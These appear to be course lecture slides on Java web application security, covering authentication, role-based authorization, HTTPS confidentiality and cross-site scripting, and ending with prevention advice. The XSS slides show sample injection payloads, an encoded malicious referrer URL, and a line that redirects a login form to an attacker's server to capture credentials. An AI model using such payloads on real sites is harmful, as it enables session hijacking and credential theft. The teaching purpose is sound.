1. COMP 321 Week 12

2. Overview Web Application Security  Authentication  Authorization  Confidentiality Cross-Site Scripting Lab 12-1 Introduction

3. Types of “Bad Guys” Impersonators: pretend to be someone with access Upgraders: have valid accounts, but increase their access level Eavesdroppers: listen in on web traffic

4. Security Answer Authentication: foils impersonators Authorization: foils upgraders Confidentiality and Data Integrity: foils eavesdroppers

5. HTTP Authentication 1. Client requests protected resource 2. Container returns 401 - Unauthorized 3. Browser asks the user for username and password 4. Browser requests resource again with credentials 5. Container verifies credentials 6. Container returns resource

6. Authorization - Defining Roles <tomcat-users> </tomcat-users> <security-role><role-name>Admin</role-name></security-role><security-role><role-name>Member</role-name></security-role><security-role><role-name>Guest</role-name></security-role><login-config> BASIC BASIC </login-config>

7. Authorization - Defining Constraints UpdateRecipes UpdateRecipes /Beer/AddRecipe/* /Beer/AddRecipe/* /Beer/ReviewRecipe/* /Beer/ReviewRecipe/* GET GET POST POST Admin Admin Member Member </web-app>

8. Sharpen Your Pencil Consider the code above. What security step must have happened before this snippet runs? What security step is implied by this snippet? What part, if any, does the DD play in this snippet? How do you think this code works? What if the role of Manager doesn't exist in your container? // In servlet if (request.isUserInRole("Manager")) { // Do something } else { // Do something else }

9. Sharpen Your Pencil Consider the code above. What security step must have happened before this snippet runs? Authentication What security step is implied by this snippet? Authorization What part, if any, does the DD play in this snippet? It can be used to link the role name Manager to a role defined in the container (as below). How do you think this code works? What if the role of Manager doesn't exist in your container? Manager Admin...

10. Sharpen Your Pencil Based on the constraints shown below, decide who can access the protected resources: Guest Nobody? Guest? Member? Admin? Everyone?

11. Sharpen Your Pencil Guest Nobody? Guest?Yes Member? Admin? Everyone?

12. Sharpen Your Pencil Nobody? Guest? Member? Admin? Everyone?

13. Sharpen Your Pencil Nobody?Yes Guest? Member? Admin? Everyone?

14. Sharpen Your Pencil Admin Guest Nobody? Guest? Member? Admin? Everyone?

15. Sharpen Your Pencil Admin Guest Nobody? Guest?Yes Member? Admin?Yes Everyone?

16. Sharpen Your Pencil Guest * Nobody? Guest? Member? Admin? Everyone?

17. Sharpen Your Pencil Guest * Nobody? Guest? Member? Admin? Everyone? Yes

18. Sharpen Your Pencil Member Nobody? Guest? Member? Admin? Everyone?

19. Sharpen Your Pencil Member Nobody? Guest? Member? Admin? Everyone? Yes

20. Sharpen Your Pencil Member Nobody? Guest? Member? Admin? Everyone?

21. Sharpen Your Pencil Member Nobody?Yes Guest? Member? Admin? Everyone?

22. Authentication BASIC – Pops up dialog, sends login information encoded in base64 format DIGEST – Sends information in a more secure way, not part of J2EE CLIENT-CERT – Sends login information encrypted with public key, but requires client to have the certificate installed FORM – Allows custom login form to be created in HTML, sends login information in the clear

23. Authentication BASIC FORM /loginPage.html /loginError.html

24. Authentication You need to log in Sorry, wrong password.

25. Confidentiality and Data Integrity Recipes /Beer/UpdateRecipes/* POST Member CONFIDENTIAL

26. Confidentiality and Data Integrity 1. Client requests constrained resource with transport guarantee (/BuyStuff.jsp) 2. Container sends a 301 Redirect to the client for https://... 3. Browser makes same request over secure connection 4. Container sees resource is constrained, so responds with 401, causing user to log in 5. Browser makes same request for a third time with credentials included, and finally receives page

27. Cross-Site Scripting A way of putting JavaScript into a vulnerable site that will be executed by other users' browsers One of the biggest vulnerabilities on the web right now, along with SQL injection

28. Cross-Site Scripting

29. Image: Alignment: center left Width: http://www.google.com/images/logo_sm.gif

30. Attacker Running their own JavaScript! http://www.google.com/images/logo_sm.gif'> alert('test') http://www.google.com/images/logo_sm.gif alert('test') ' width = ''>

31. Opportunities for “Bad Guys” Change page contents Install malware, and make your site look like the bad guy Steal cookies, and hijack someone else's session

32. Strategies for Prevention Sanitize the inputs from the user, and make sure they don't contain script Fix the image and width fields in the code that handles form submission. Are we safe now?

33. Cross-Site Scripting Image: Alignment: Width:

34. XSS Audit David Zimmer performed an XSS audit of a forum site, and posted his thought process here: http://sandsprite.com/Sleuth/papers/Real World_XSS_3.html http://sandsprite.com/Sleuth/papers/Real World_XSS_3.html

35. XSS Audit First vulnerability: User name not checked for script tags Added code to his username: This is displayed on every page where the user has posted Evil.js contained a document.writeln Used server logs to see how many people were affected

36. XSS Audit Second vulnerability: Article name not checked for script tags, but limited to 45 characters This is 55 characters: Third vulnerability: User pictures were not validated at upload, simply saved to disk Upload "image" file, server calls it /images/778237.jpg Change article title Now users can be attacked by viewing the article list Image file is really a script that sends log data, and then redirects to a real image

37. XSS Audit Fourth vulnerability: Login handling When a user tries to go to a page that requires an account, the site redirects to login page with referrer as the page the user tried to visit If the user can be convinced to click a link with a script in the referrer, then they will be asked to log in and the script will then be executed

38. XSS Audit To make the link less suspicious, we can encode the script Then we can make the login form submit to our own site http://login.asp?lan=en%2021&count=100&exp=12&ref=%3Csc%72%69p t%20s%72c%3Db%6Cah%3E%3C%2Fsc%72%69p%74%3E document.forms(0).action = "http://myserver/myscript.asp"

39. XSS Prevention Don’t allow script tags  Do this with a whitelist, there are too many possible ways to encode tags otherwise Validate any content that users can upload to your site - text, images, etc. Remember that anything running on the client is NOT trusted

40. Lab 12-1 Introduction Design solution for the final Lab (13-1) Define Interface for your Actions Design Data Model that will hold the info about: –what actions should be used for which URLs –what JSPs should be used for each return code

41. Progress Check Due this week Due next week Continue working on Lab 10-1 “JSP User Interfaces”